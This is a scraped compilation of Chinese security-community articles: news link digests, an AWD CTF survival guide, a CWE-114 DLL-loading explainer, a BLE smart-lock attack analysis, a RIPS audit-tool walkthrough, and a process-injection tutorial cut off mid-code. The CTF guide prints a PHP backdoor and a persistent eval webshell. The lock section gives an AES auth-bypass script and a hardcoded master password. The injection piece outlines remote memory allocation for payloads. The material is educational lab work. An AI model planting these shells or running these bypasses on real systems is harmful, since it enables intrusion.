<https://www.bleepingcomputer.com/news/security/researcher-bypasses-windows-controlled-folder-access-anti-ransomware-protection/>
## 技术类
HPE IMC中各种攻击媒介的进一步分析
<https://www.zerodayinitiative.com/blog/2018/2/6/one-mans-patch-is-another-mans-treasure-a-tale-of-a-failed-hpe-patch>
Joomla！3.8.3：通过SQL注入来提升权限
<https://blog.ripstech.com/2018/joomla-privilege-escalation-via-sql-injection/>
关于硬件木马的一些讨论
<https://www.benthamsgaze.org/2018/02/06/a-witch-hunt-for-trojans-in-our-chips/>
PLUGX恶意软件分析
<https://countuponsecurity.com/2018/02/04/malware-analysis-plugx>
『安全开发教学』Github泄露扫描系统开发
<https://weibo.com/ttarticle/p/show?id=2309404204494916341366>
ADB.Miner 安卓蠕虫的更多信息
<http://blog.netlab.360.com/adb-miner-more-information/>
Glibc缓冲区下溢漏洞分析（CVE–2018-1000001）
<https://paper.seebug.org/528/>
Evil XML with two encodings
<https://mohemiv.com/all/evil-xml/>
FreeFloat FTP1.0 溢出漏洞分析
<https://mp.weixin.qq.com/s/MSaEbeNN0zbrNY50_30FRQ>
pwnhub年前最后一战——“血月归来”writeup
<https://www.secpulse.com/archives/68026.html>
DowginCw病毒家族解析
<https://www.secpulse.com/archives/68040.html>
渗透测试 — VulnHub –CTF FristiLeaks v1.3
<https://mp.weixin.qq.com/s/vroN1CKPjf2x033E0e43vg>
Archery —— 开源漏洞评估和管理工具
<https://github.com/archerysec/archerysec>
kiwi：安全源码审计工具
<https://github.com/alpha1e0/kiwi> | 社区文章 |
# 12月27日安全热点 - 传感器猜解PIN码/破解加密PDF文档
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
123456仍是今年最火密码，password紧随其后
<https://www.bleepingcomputer.com/news/security/-123456-remains-most-common-password-found-in-data-dumps-in-2017/>
伊朗网络安全风险或许不应无视
<https://www.washingtonpost.com/opinions/we-ignore-iran-at-our-peril/2017/12/26/c246078c-ea80-11e7-b698-91d4e35920a3_story.html>
马提尼克岛退税活动开始后提醒民众堤防钓鱼攻击
<https://www.zayactu.org/2017/12/zayactu/actualites-martinique/phishing-attention-aux-faux-mails-annoncant-remboursement-dimpots>
黑客可通过传感器数据猜测手机PIN码
<https://www.sciencedaily.com/releases/2017/12/171226134614.htm>
比特币疯狂飙车反而导致地下经济交易受到阻碍
<https://krebsonsecurity.com/2017/12/skyrocketing-bitcoin-fees-hit-carders-in-wallet/>
俄罗斯银行ATM按5次Shift就能被黑掉
<http://securityaffairs.co/wordpress/67128/hacking/atms-russian-bank-hack.html>
日前出现了3个假冒比特币钱包，目前均已从Google Play中移除
<http://securityaffairs.co/wordpress/67123/malware/fake-bitcoin-wallet-apps.html>
三年过去了，仍有大量网站在使用有后门的WordPress插件
<https://www.bleepingcomputer.com/news/security/three-years-later-hundreds-of-sites-still-use-backdoored-wordpress-plugins/>
## 技术类
破解加密PDF文档 Part 1
<https://blog.didierstevens.com/2017/12/26/cracking-encrypted-pdfs-part-1/>
检测并绕过防火墙与保护系统
<https://github.com/Ekultek/WhatWaf>
CVE-2017-5124：V8 JIT逃逸漏洞
<https://bugs.chromium.org/p/chromium/issues/detail?id=765433>
Rotten Potato漏洞：孤独的土豆
<https://decoder.cloud/2017/12/23/the-lonely-potato/>
Apktool 2.3.1更新，添加新功能–force-manifest
<https://connortumbleson.com/2017/12/26/apktool-v2-3-1-released/>
2017利用工具包全览图
<http://executemalware.com/?page_id=320>
为什么TLS 1.3不在现实场景中应用
<https://blog.cloudflare.com/why-tls-1-3-isnt-in-browsers-yet/>
Botconf 2017演讲
<https://www.botconf.eu/botconf-2017/programme/botconf-2017-talks/>
FreeBSD Rootkits：内核分析的第一步
<https://www.youtube.com/watch?v=MbEhTkfuz3U>
利用certstream枚举S3桶工具
<https://github.com/bbb31/slurp>
详解Java应用程序中的内存泄露是如何发生的
<https://stackify.com/memory-leaks-java/>
拒有关人士称美国FBI所用指纹识别程序为俄罗斯开发，或许其中另有隐情
<https://www.buzzfeed.com/chrishamby/fbi-software-contains-russian-made-code-that-could-open-a>
Tethr：安卓共享配置检查绕过漏洞 CVE-2017-0554
<https://lanrat.com/tethr/>
./getawspublicips.sh 获取aws公共ip，辅助进行在产喝茶
<https://danielmiessler.com/blog/getawspublicips-aws-public-ip-internet/>
利用Long Short-Term Memory Network预测域名生成函数
<https://arxiv.org/pdf/1611.00791.pdf>
Github年度最佳Pull Request | 社区文章 |
# 【CTF攻略】CTF线下赛AWD模式下的生存技巧
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：Veneno@Nu1L
稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
Hello，大家好，我是Nu1L战队队长Veneno，通过这篇文章说一下关于CTF线下赛的AWD模式(当然也有一些比赛是沙盒模式)，以及身为一只Web狗的你如何在各位大佬们的手下存活:)可能没有技术干货，大家勿喷:)
**1- 何为AWD**
****
Attack With Defence，简而言之就是你既是一个hacker，又是一个manager。
比赛形式：一般就是一个ssh对应一个web服务，然后flag五分钟一轮，各队一般都有自己的初始分数，flag被拿会被拿走flag的队伍均分，主办方会对每个队伍的服务进行check，check不过就扣分，扣除的分值由服务check正常的队伍均分。
**2-AWD之出题人**
****
在这里暂且冒充下出题人QAQ
**0x01:题目类型**
1-出题人自己写的cms，为了恶心然后加个so。
2-常见或者不常见的cms。
3-一些框架漏洞，比如ph师傅挖的CI这种
**0x02:代码类型**
目前来说，国内比赛依旧是php居多，当然也会有一些别的，比如py，lua这种。
**0x03:题目漏洞类型**
1-sqli居多
2-文件包含
3-各种rce
4-文件上传
**0x04:出题人思路**
为了不让你们这群赛棍把题秒了，我直接放个未公开cms的0day把，算了，要不我自己加点东西。诶，等等，这样是不是有点难了，再放几个比较简单的洞把，直接在index.php或者web根目录下放个shell?
**3-如何攻击**
****
相信平日大家都做过渗透测试之类的，而AWD模式的比赛其实跟日常的渗透测试有共同之处。
**0x01:如何拿flag**
一般来说就是以下两种模式：
1-是向内网一台机器发送http请求，返回请求中包含flag。
2-是例如/home目录下放置flag文件。
**0x02:一个web狗需要具备的一些东西**
大致有以下几点:
1-快速的漏洞反应能力。
因为有的时候，一些比赛放的漏洞都是网上能查到的，所以这个时候需要一个好的搜索技巧。或者是一些rce显而易见的那种。
2-快速编写脚本的能力。
因为大家的服务都是一样的，而你如果能通过比如注入的方式拿到flag，如果用hackbar一个个去弄，显然不够优雅，而且有时候特别会容易遗漏，那么这个时候写个小py无疑是极好的。
3-一个好的心态
毕竟跟你同场竞技的都是各位大佬，所以当你发现自己被打的时候，心态不要崩，一旦崩了就基本宣布gg了。
**0x03:当我们处于优势地位时**
除非处于那种绝对优势的时候，我们可以什么都不在乎。
当我们处于一个微弱优势时，这个时候我们需要一个比较腹黑的思想，比如说，A队与B队只差了可能几百的分数，而A队这个时候有B队的webshell，那么如何把B队拖下水，相信大家都懂。
**0x04:当我们处于劣势地位时**
首先还是那句话，心态不要崩。
其次因为web比较容易抓取流量，所以即使我们被打，我们也可以及时通过分析流量去查看别的队伍的payload，从而进行反打。
如果自己的服务器上被种了shell，删除是肯定的，但是要这样想，如果给你种了shell，那么这种一般是自动化脚本打的，就意味着别的队伍也可能被种，路径密码什么的都一样。
**4-如何防守**
****
其实防守更多看的是谁比较细心。
**0x01:比赛开始的时候**
比赛开始时，当我们连上ssh的时候，我们首先应该做的是把源码down下来，及时做好备份。
然后在尽量不违反主办方check的原则下挂上自己的waf。
一般来说，主办方可能会隔一段时间提供前一时段的流量，也可能不会，所以这个时候需要我们自己去抓流量。
**0x02:然后的工作**
当然是审计，审计，再审计。
**0x03:当发现被打时**
当发现自己被打时，首先尝试还原以前的备份(记得备份当前)，如果依然被打，这个时候应该跟队友分好工，查看抓取的流量以及查看服务器上是不是存在shell。
**5-一些小tips**
****
分享几个小例子以及自己的思路。
**0x01:如果自己拿到了FB**
当自己拿到fb的时候，一定要淡定，淡定，淡定。首先，我们测试的对象应该是NPC(或者本地)，而不是其他队伍选手的服务，因为你怎么知道人家没有流量，经常会出现，有的队伍拿到了fb，结果不是拿的npc的，自己的payload又被别的队伍拿到，而碰巧拿到的队伍，重放能力特别强，就会出现一个尴尬的局面，明明你拿的fb，结果人家打的比你还凶。
所以，当拿到fb的时候，写打全场的exp之前，可以先打n多的混淆流量。
**0x02:特别熟悉的cms**
作为一只web狗，如果看到wordpress，那么第一个反应肯定是上wpscan。但是线下赛时候有的出题人放了一个最新版本的wp，甚至插件也没有什么漏洞，举两个自己打比赛的时候碰见过的例子:
1-主办方放了一个wp，然后每个队伍都有config备份文件以及phpmyadmin。这种情况下，最机智的方法，是靠你多年手速，迅速下载其他队伍备份文件，然后登陆phpmyadmin后，拿别的队伍的shell最机智的方法不是去利用phpmyadmin写shell，万一没权限不就白白耽误时间了。
2-同样是最新版的wp，也没有安装插件，但是主办方在一个比较深的目录里放了一个任意文件上传，绕过上传的方式也比较简单。
**0x03:一些比较有意思的backdoor**
比如下面这个，有兴趣的话可以自己本地测试下:
<?php
session_start();
extract($_GET);
if(preg_match('/[0-9]/',$_SESSION['PHPSESSID']))
exit;
if(preg_match('//|./',$_SESSION['PHPSESSID']))
exit;
include(ini_get("session.save_path")."/sess_".$_SESSION['PHPSESSID']);
?>
**0x04:一些有趣shell**
在github上有关于phpwebshell的一个项目，有兴趣的同学可以搜一下。当然也有python的一些shell。在这里举一个最简单的例子:
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = "veneno.php";
$shell = "<?php eval($_POST[venenohi]);?>";
while (TRUE) {
if (!file_exists($file)) {
file_put_contents($file, $shell);
}
usleep(50);
}
?>
**
**
**6-Ending**
****
参加了那么多线下赛以来，个人感觉还是需要提高自己的代码审计能力以及自动化脚本的编写能力，同时也会提醒自己在什么方面有短板。
大体就说什么多，因为可能是个经验帖，所以并没有太多代码，师傅们勿喷，如果有什么问题可以加我微信(FHcherish)一起交流:) | 社区文章 |
# 【缺陷周话】第45期：进程控制
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、进程控制
函数在加载动态库时，如果没有加载预期的动态库，会导致非预期的行为甚至恶意代码执行，这类问题称作“进程控制”。导致进程控制的最主要的原因是：从一个不可信赖的数据源或不可信赖的环境中加载动态库。例如：使用LoadLibrary()
函数加载动态库，在没有指明绝对路径的情况下，顺序由搜索顺序决定，而搜索顺序是由注册表主键控制。详细请参见CWE-114: Process Control。
注册表主键 | 搜索顺序
---|---
SafeDllSearchMode=1 | 1\. 应用程序被加载的目录
2\. 系统目录
3\. 16位系统目录（如有）
4\. windows目录
5\. 当前目录
6\. 在PATH环境变量中列出的目录
SafeDllSearchMode=0 | 1\. 应用程序被加载的目录
2\. 当前目录
3\. 系统目录
4\. 16位系统目录（如有）
5\. windows目录
6\. 在PATH环境变量中列出的目录
## 2、进程控制的危害
在使用动态库加载函数时，如果攻击者可以把一个同名的恶意库文件放置在搜索顺序靠前的位置，甚至优先于应用程序所需加载文件的位置，那么应用程序将会加载该恶意库的副本，而不是原本所需的文件，从而导致恶意代码执行。
## 3、示例代码
示例源于 Samate Juliet Test Suitefor C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE114_Process_Control__w32_char_file_01.c。
### 3.1 缺陷代码
在上述示例代码中，第61行使用 LoadLibraryA() 函数加载动态库，从代码中可以看出，data 在第35行进行初始化，并在第47行通过
fgets() 进行赋值，由于 data 的值通过读取外部文件中的字符串来获取，其值可能为不完整的文件路径，存在“进程控制”问题。
使用代码卫士对上述示例代码进行检测，可以检出“进程控制”缺陷，显示等级为高。如图1所示：
图1：进程控制检测示例
### 3.2 修复代码
在上述修复代码中，Samate给出的修复方式为：在第38行将data明确赋值为“C:\Windows\System32\winsrv.dll”，随后在第43行使用LoadLibraryA()
函数进行动态加载，从而避免了第35行“进程控制”问题。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“进程控制”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免进程控制
在进行动态库加载时，尽量避免从不可信赖的数据源或不可信赖的环境中读取，如果无法避免这种情况，应该设计并实现完备的验证机制。 | 社区文章 |
# BLE安全初探之HACKMELOCK
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Author: Larryxi@360GearTeam
## 0x00 环境搭建
低功耗蓝牙技术（Bluetooth Low
Energy）作为一种无线通信技术，其设计目标和实现与经典蓝牙技术有很大的不同，关于其的概述和技术细节可以参考文末的链接和著作。本文会结合书本知识对其中的协议数据包进行备注，以加深对主从设备交互流程的理解，进一步探索针对某BLE应用的攻击方式。
环境主从设备的选取是参考[BLUETOOTH SMART
HACKMELOCK](https://smartlockpicking.com/hackmelock/)提供的仿真环境，其在树莓派中用nodejs搭建了一个虚拟的BLE门锁，专门写了一个Android
app来对这个门锁进行操作，两端都遗留了一些安全问题供我们后续探索学习。
[UnicornTeam](https://weibo.com/unicornteam)曾经讲过无线通信的攻击手段可以分为监听、重放、欺骗和劫持攻击。个人感觉先要嗅探相关流量进行理解分析才能知己知彼有所突破，厚着脸皮向大佬团队借了一个[nRF51422](https://www.nordicsemi.com/eng/Products/ANT/nRF51422)来对BLE进行嗅探，其文档[nRF-Sniffer-UG-v2](https://www.nordicsemi.com/eng/nordic/download_resource/65244/3/23454585/136165)也写得很清楚，所以最终构建的环境如图所示（同时也感谢[Tesi1a](https://weibo.com/u/5306621349)同学友情赞助的树莓派）：
## 0x01 流程探索
上文搭建的虚拟环境中APP点击相关功能，服务端响应后在控制台也可以看到一定的log输出，方便我们理解协议的交互，接下来我会配合捕获的流量进行解释，数据包流量也已备份至[Github](https://github.com/Larryxi/My_tools/tree/master/ble_hackmelock)。低功耗蓝牙的体系结构如下：
### 广播建立连接和发现服务特性
建立起虚拟门锁从设备后，其就在不停地广播。广播报文的类型有7种，用途比较广泛的类型是ADV_IND通用广播指示，广播报文的大致结构如下：
在数据包中也可以看到很多树莓派的广播报文：
打开手机App在被动扫描接收到所需的广播报文后，便会发起连接请求：
主从设备在进入连接态后就会发送数据报文进行通信，数据报文格式和广播报文格式略有不同：
数据报文中的逻辑链路标识符LLID把数据报文分成三种类型，其中链路层控制报文（11）用于管理连接，如下的数据包便是在管理连接中的版本交换：
不仅是只有链路层的数据包，两个设备的上层服务还是会通过L2CAP信道（数据包序列），其结构如下：
低功耗蓝牙一共使用3条信道，如下的L2CAP数据包则是低功耗信令信道的数据包，用于主机层的信令：
属性层和通用属性规范层作为BLE的核心概念，一个是抽象协议一个是通用配置文件。属性通俗地来讲就是一条有标签的、可以被寻址的数据，其结构如下：
在低功耗蓝牙中特性是由一种或多种属性组成，服务是由一种或多种特性组成，并且是由服务声明来对服务进行分组，用特性声明来对特性进行分组。服务和特性的发现由通用属性规范规定，具体则表现为不同类型的属性协议，如下的数据包便是按组类型读取请求来读取首要服务声明：
响应则是所有首要服务声明的属性句柄、该首要服务中最后一个属性以及首要服务声明的数值：
类似的，对于每一个服务也会有发现特性的请求和响应：
在数据包中分开看请求的服务和特性可能不是太方便，可以借助[bleah](https://github.com/evilsocket/bleah)直接枚举设备上的所以属性：
### 门锁初始化配置
门锁的初始化配置在服务端控制台的输出如下：
在数据包上的表现就是先对从设备的0x0013 handler进行读取请求，得到响应值后开始对0x000c
handler进行一系列的写入请求，一共写入了24个序列完成初始化阶段：
### 开关锁操作
开关锁的操作在服务端控制台的输出上看，貌似是有一个内部的认证过程：
首先读取0x0013 handler读取一个random challenge，将响应写入0x000c
handler，如果通过了认证则可以进行开关锁的操作，并且开关锁向handler中写入的值也是固定的：
### 认证凭据重置
这个功能在服务端上被称为Data transfer，通过接收一条命令触发，并重新生成了24个序列通知客户端：
在数据包上可以看到还有对0x0010 handler的写入请求，向0x000c写入的则是数据重传命令：
## 0x02 攻击方式
### 流程探索
流程中比较感兴趣的就是内部实现的认证和数据重传部分，首先猜测不经过认证直接写入数据重传指令是否可以重置门锁，这里借助gatttool进行BLE的连接和请求：
很遗憾是需要认证的，那我们就需要分析服务端或者客户端的程序，逆向出认证的具体流程。上jeb反编译apk，根据auth字符串定位至认证相关逻辑。可知在接收Challenge后，和v7一起传入hackmelockDevice.calculateResponse方法，正常的开锁流程会使v7为1，通过二维码分享的开锁流程会使v7为2：
跟进去可知，根据不同的keyID对Challenge进行两次AES加密计算出响应：
而其中的keys数组则是在最开始初始化门锁中传递的23个序列：
对于keyID为0的序列tohex为12个字节，后面用空字符补齐16字节，进行两次AES加密用python代码还是很简单就实现了：
import sys
from Crypto.Cipher import AES
from binascii import a2b_hex, b2a_hex
def calc(key, challenge):
plaint_1 = a2b_hex(challenge)
key_1 = a2b_hex(key)
aes_1 = AES.new(key_1, AES.MODE_ECB)
cipher_1 = aes_1.encrypt(plaint_1)
print b2a_hex(cipher_1)
plaint_2 = a2b_hex("DDAAFF03040506070809101112131415")
key_2 = cipher_1
aes_2 = AES.new(key_2, AES.MODE_ECB)
cipher_2 = aes_2.encrypt(plaint_2)
print b2a_hex(cipher_2)
if __name__ == '__main__':
if len(sys.argv) > 2:
calc(sys.argv[1], sys.argv[2])
### 服务端后门
[服务端代码](https://github.com/smartlockpicking/hackmelock-device)是用nodejs写的，看起来比安卓逆向轻松多了，在服务端留下了一个后门可以使用特定密码直接通过认证：
if ( (authResponse === fin_16.toString('hex')) || (authResponse === '4861636b6d654c6f636b4d6173746572')) {
console.log('AUTHENTICATION OK!'.green);
this.authenticated = true;
this.status = statusAuthenticated;
}
### 认证代码缺陷
最开始按照正常的加密逻辑，向0x000c
handler写入response总是认证不通过，对比在app上操作的控制台输出，发现其在计算出的response后多加了一个00，幡然醒悟最后一个写入的字符就是用来指示keyID的。而在服务端代码中，其不仅加载了初始化时传递的23个key，还以00扩展至128个：
Hackmelock.prototype.loadConfig = function(configFile) {
this.config = fs.readFileSync(configFile).toString().split("\n");
//pop last empty line
this.config.pop();
for (i=this.config.length; i<128; i++) {
this.config.push('000000000000000000000000')
}
如果我们将keyID指示得过大，那么第一轮AES加密的key就已经确定了，相应的认证措施也就失效了：
### 二维码信息泄露
App中还有个Share功能，旨在向他人提供临时开关锁的权限：
从App逆向的结果来看，二维码中会保存keyID为1的序列，有了任意的key就不存在权限和时间的限制了。如上的二维扫出的结果就是576C0603:4CE495E48D0BF00BF1BC85F3:1:1542885650:1542902400，与之前数据传输的记录相符：
### 其他
1. [服务端代码](https://github.com/smartlockpicking/hackmelock-device/blob/master/hackmelock.js#L173)中使用Math.random()来生成随机数，但这种方法并不是[cryptographically-secure](https://stackoverflow.com/questions/5651789/is-math-random-cryptographically-secure)，可能会被预测但我个人暂未想出来合适的攻击场景。
2. 作者还提示存在命令注入的问题，我对nodejs和安卓了解的不多，感兴趣的同学可以探索一下。
## 0x03 总结参考
### 总结
1. Android上也可以对蓝牙进行[抓包](https://blog.csdn.net/wangbf_java/article/details/81269149)，不过是主设备上HCI信道的数据包，看起来可能不是太直接。
2. 上面的虚拟门锁的使用的是默认安全级别，链路没有加密和认证配对的操作，深入探究的话可以使用工具进行中间人和重放攻击的尝试，smartlockpicking团队提供的[培训讲义](http://smartlockpicking.com/slides/BruCON0x09_2017_Hacking_Bluetooth_Smart_locks.pdf)还是很值得学习一下的。
3. 换一种角度看，喜欢做练习的同学可以尝试一下[BLE CTF](http://www.hackgnar.com/2018/06/learning-bluetooth-hackery-with-ble-ctf.html)，当然挖掘BLE相关的[漏洞](https://mp.weixin.qq.com/s/cu-DCXuqJ50YRTFDmBUrtA)也是有可能的。
### 参考
* [低功耗蓝牙开发权威指南](https://book.douban.com/subject/26297532/)
* [BLUETOOTH SMART HACKMELOCK](https://smartlockpicking.com/hackmelock/)
* [物联网安全拔“牙”实战——低功耗蓝牙（BLE）初探](http://drops.xmd5.com/static/drops/tips-10109.html)
* [BLE安全入门及实战（1）](https://sec.xiaomi.com/article/38)
* [Hardwear2018BLESecurityEssentials](http://smartlockpicking.com/slides/Hardwear_2018_BLE_Security_Essentials.pdf) | 社区文章 |
>
> 很早就有深入分析学习一款源代码审计工具的想法，在查找rips源码分析相关资料时，发现相关的学习分析资料较少，于是选择rips作为该系列文章的分析对象，因为没有最新版的rips的源码，因此选取的rips源码为已公开的版本。
> 因为我是第一次将具体的分析写下来，并且本身的技术能力问题，在某些场景下的用语或者技术细节描述可能存在偏差，请师傅们包涵。
## 引言
RIPS是一个源代码分析工具，它使用了静态分析技术，能够自动化地挖掘PHP源代码潜在的安全漏洞
## 本篇内容
作为本系列文章的开始，只介绍rips的逻辑流程以及lib文件夹下各文件大致内容分析，不具体分析代码审计的细节，相关细节在之后的文章中分析
## 整体结构
RIPS工具的整体架构如下:
+-- CHANGELOG [file]
+-- config [dir]
| +-- general.php
| +-- help.php
| +-- info.php
| +-- securing.php
| +-- sinks.php
| +-- sources.php
| +-- tokens.php
+-- css [dir]
| +-- ayti.css
| +-- barf.css
| +-- code-dark.css
| +-- espresso.css
| +-- notepad++.css
| +-- phps.css
| +-- print.css
| +-- rips.css
| +-- rips.png
| +-- scanning.gif
| +-- term.css
| +-- twlight.css
+-- index.php [file]
+-- js [dir]
| +-- exploit.js
| +-- hotpatch.js
| +-- netron.js
| +-- script.js
+-- lib [dir]
| +-- analyzer.php
| +-- constructer.php
| +-- filer.php
| +-- printer.php
| +-- scanner.php
| +-- searcher.php
| +-- tokenizer.php
+-- LICENSE [file]
+-- main.php [file]
+-- README.md [file]
+-- windows [dir]
| +-- code.php
| +-- exploit.php
| +-- function.php
| +-- help.php
| +-- hotpatch.php
| +-- leakscan.php
config目录:放置各种配置信息
css目录:放置css样式文件
js目录:放置js代码文件
lib目录:rips的核心代码文件
window:rips的前端构成
## lib文件夹说明
lib文件夹存放rips运行的核心文件,定义了大量函数以及类用以完成rips完整的代码分析功能
1. analyzer.php
>
> 仅定义了`Analyzer`类,并在类中定义了三个函数，分别是`get_tokens_value`,`get_var_value`,`getBraceEnd`,`Analyzer`类主要用以根据token信息分析文件信息
2. constructer.php
>
> 本文件定义了五个类,分别为`VarDeclare`、`VulnBlock`、`VulnTreeNode`、`InfoTreeNode`、`FunctionDeclare`,分别用以`存储变量`、`漏洞总干`、`每个漏洞具体信息`、`存储信息`、`存储函数`
3. filer.php
> 仅定义了函数`read_recursiv`,用以遍历文件夹下的文件信息
4. printer.php
> 定义大量函数,基本都是用于将分析得到的结果输出至前端页面
5. scanner.php
> 仅定义了`scanner`类,类中包含大量方法,本文件为rips分析操作的核心文件，包括token处理、字段处理等功能
6. searcher.php
> 仅定义了`searchFile`函数,主要用于根据token信息分析漏洞情况，并使用`VulnTreeNode`类加以实例化
7. tokenizer.php
> 仅定义了`Tokenizer`类,类中定义大量函数,其余文件中所用到的token信息均来源于此文件
## index.php 分析
index.php是rips项目的入口文件，因此我放在了第一个分析。
代码构成主要是前端文件，功能方面主要将目标路径、扫描类型等参数发送至分析模块。
在index.php的112行附近，触发点击事件，进入main.php
## main.php分析
main.php是整个rips代码分析的开始部分
配置文件引入:
<?php
include('config/general.php'); // 主要为各种参数的初始设置
include('config/sources.php'); // 可能从外部引入数据的函数或全局变量，如$_GET、file_get_contents()
include('config/tokens.php'); // 将代码分割成许多个token，以便于词法分析
include('config/securing.php'); // 根据函数的目的使用以及效果不同划分，如 htmlspecialchars 划入数组变量 $F_SECURING_XSS
include('config/sinks.php'); // 敏感函数汇总，根据函数对应的功能不同进行更进一步的划分
include('config/info.php'); // 对各种函数名添加对应注释，如sqlite_open()=>'using DBMS SQLite'
核心代码引入:
include('lib/constructer.php'); // 类信息
include('lib/filer.php'); // 仅定义了一个函数，用以获取指定路径下所有文件
include('lib/tokenizer.php'); // prepare and fix token list
include('lib/analyzer.php'); // string analyzers
include('lib/scanner.php'); // provides class for scan
include('lib/printer.php'); // output scan result
include('lib/searcher.php'); // search functions
结束引用部分，进入main.php文件的逻辑处理部分
### 文件路径传入
对传入的路径参数进行处理，如果传入参数为目录，则递归目录的文件信息，并赋值入变量，如果为单个文件，则只记录该文件
if(!empty($_POST['loc']))
{
$location = realpath($_POST['loc']);
if(is_dir($location))
{
$scan_subdirs = isset($_POST['subdirs']) ? $_POST['subdirs'] : false;
$files = read_recursiv($location, $scan_subdirs);
if(count($files) > WARNFILES && !isset($_POST['ignore_warning']))
die('warning:'.count($files));
}
else if(is_file($location) && in_array(substr($location, strrpos($location, '.')), $FILETYPES))
{
$files[0] = $location;
}
else
{
$files = array();
}
### 初始化扫描功能
首先对各种参数进行初始化赋值，如各类计数变量等，随后根据传来的verbosity变量，即"漏洞类型"参数，对scan_functions数组进行赋值
if(empty($_POST['search']))
{
$user_functions = array();
$user_functions_offset = array();
$user_input = array();
$file_sinks_count = array();
$count_xss=$count_sqli=$count_fr=$count_fa=$count_fi=$count_exec=$count_code=$count_eval=$count_xpath=$count_ldap=$count_con=$count_other=$count_pop=$count_inc=$count_inc_fail=$count_header=$count_sf=$count_ri=0;
$verbosity = isset($_POST['verbosity']) ? $_POST['verbosity'] : 1;
$scan_functions = array();
$info_functions = Info::$F_INTEREST;
if($verbosity != 5)
{
switch($_POST['vector']) //确定待扫描函数
{
//XSS
case 'xss': $scan_functions = $F_XSS; break;
//header
case 'httpheader': $scan_functions = $F_HTTP_HEADER; break;
//session
case 'fixation': $scan_functions = $F_SESSION_FIXATION; break;
//代码执行类
case 'code': $scan_functions = $F_CODE; break;
//反射
case 'ri': $scan_functions = $F_REFLECTION; break;
//文件读取
case 'file_read': $scan_functions = $F_FILE_READ; break;
//可对文件产生影响
case 'file_affect': $scan_functions = $F_FILE_AFFECT; break;
//文件包含
case 'file_include':$scan_functions = $F_FILE_INCLUDE; break;
//执行命令
case 'exec': $scan_functions = $F_EXEC; break;
//执行SQL
case 'database': $scan_functions = $F_DATABASE; break;
//XPATH注入
case 'xpath': $scan_functions = $F_XPATH; break;
//LDAP操作
case 'ldap': $scan_functions = $F_LDAP; break;
//协议注入
case 'connect': $scan_functions = $F_CONNECT; break;
//其他的一些危险函数
case 'other': $scan_functions = $F_OTHER; break;
//POP链
case 'unserialize': {
$scan_functions = $F_POP;
$info_functions = Info::$F_INTEREST_POP;
$source_functions = array('unserialize');
$verbosity = 2;
}
break;
//客户端
case 'client':
$scan_functions = array_merge(
$F_XSS,
$F_HTTP_HEADER,
$F_SESSION_FIXATION
);
break;
//服务端
case 'server':
$scan_functions = array_merge(
$F_CODE,
$F_REFLECTION,
$F_FILE_READ,
$F_FILE_AFFECT,
$F_FILE_INCLUDE,
$F_EXEC,
$F_DATABASE,
$F_XPATH,
$F_LDAP,
$F_CONNECT,
$F_POP,
$F_OTHER
); break;
//所有类型
case 'all':
default:
$scan_functions = array_merge(
$F_XSS,
$F_HTTP_HEADER,
$F_SESSION_FIXATION,
$F_CODE,
$F_REFLECTION,
$F_FILE_READ,
$F_FILE_AFFECT,
$F_FILE_INCLUDE,
$F_EXEC,
$F_DATABASE,
$F_XPATH,
$F_LDAP,
$F_CONNECT,
$F_POP,
$F_OTHER
); break;
}
}
if($_POST['vector'] !== 'unserialize')
{
$source_functions = Sources::$F_OTHER_INPUT;
// add file and database functions as tainting functions
if( $verbosity > 1 && $verbosity < 5 )
{
$source_functions = array_merge(Sources::$F_OTHER_INPUT, Sources::$F_FILE_INPUT, Sources::$F_DATABASE_INPUT);
}
}
### 代码审计及结果输出
Scanner类在171行附近进行实例化，并进行词法分析，输出结果至前端
$scan = new Scanner($file_scanning, $scan_functions, $info_functions, $source_functions);
$scan->parse();
$scanned_files[$file_scanning] = $scan->inc_map;
## 总结
### 流程部分总结
st=>start: index.php
op=>operation: main.php(审计逻辑)
e=>end: main.php(前端输出)
st->op->e | 社区文章 |
# Windows进程注入payload分析
|
##### 译文声明
本文是翻译文章，文章原作者 modexp，文章来源：modexp.wordpress.com
原文地址：<https://modexp.wordpress.com/2018/07/15/process-injection-sharing-payload/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上次一篇文章讨论了[编写进程注入payload](https://modexp.wordpress.com/2018/07/12/process-injection-writing-payload/)时的一些问题。本文的目的是讨论将payload部署到目标进程的内存空间以便执行。我们可以使用传统的Win32
API来完成这个任务，有些读者可能已经对此很熟悉了，但是使用非常规方法也有可能具有创造性。例如，我们可以使用API来执行它们原本不想要的读写操作，这可能有助于避免检测。部署和执行payload的方法有多种，但并不是所有的方法都简单易用。让我们首先关注传统的API，它虽然相对容易检测，但在攻击者中仍然很受欢迎。
下面是来自Sysinals的[VMMap](https://docs.microsoft.com/en-us/sysinternals/downloads/vmmap)屏幕截图，显示了为我将要处理的系统(Windows
10)分配的内存类型。其中一些内存有可能用于存储payload。
[](https://p4.ssl.qhimg.com/t01e343112eebbb832f.png)
## 分配虚拟内存
每个进程都有自己的虚拟地址空间。共享内存存在于进程之间，但一般来说，进程A不应该能够在没有内核帮助的情况下查看进程B的虚拟内存。当然，内核可以看到所有进程的虚拟内存，因为它必须执行虚拟内存到物理内存的转换。进程A可以使用虚拟内存API在进程B的地址空间中分配新的虚拟内存，然后由内核处理。有些读者可能熟悉在另一个进程的虚拟内存中部署payload的步骤：
1. 使用OpenProcess或NtOpenProcess打开目标进程。
2. 使用VirtualAllocEx或NtAllocateVirtualMemory在目标进程中分配eXecute-Read-Write (XRW)内存。
3. 使用WriteProcessMemory或NtWriteVirtualMemory将payload复制到新内存。
4. 执行payload。
5. 使用VirtualFreeEx或NtFreeVirtualMemory在目标进程中取消分配XRW内存。
6. 使用CloseHandle或NtClose关闭目标进程句柄。
使用Win32 API。这只显示XRW内存的分配和将payload写入新内存。
PVOID CopyPayload1(HANDLE hp, LPVOID payload, ULONG payloadSize){
LPVOID ptr=NULL;
SIZE_T tmp;
// 1. allocate memory
ptr = VirtualAllocEx(hp, NULL,
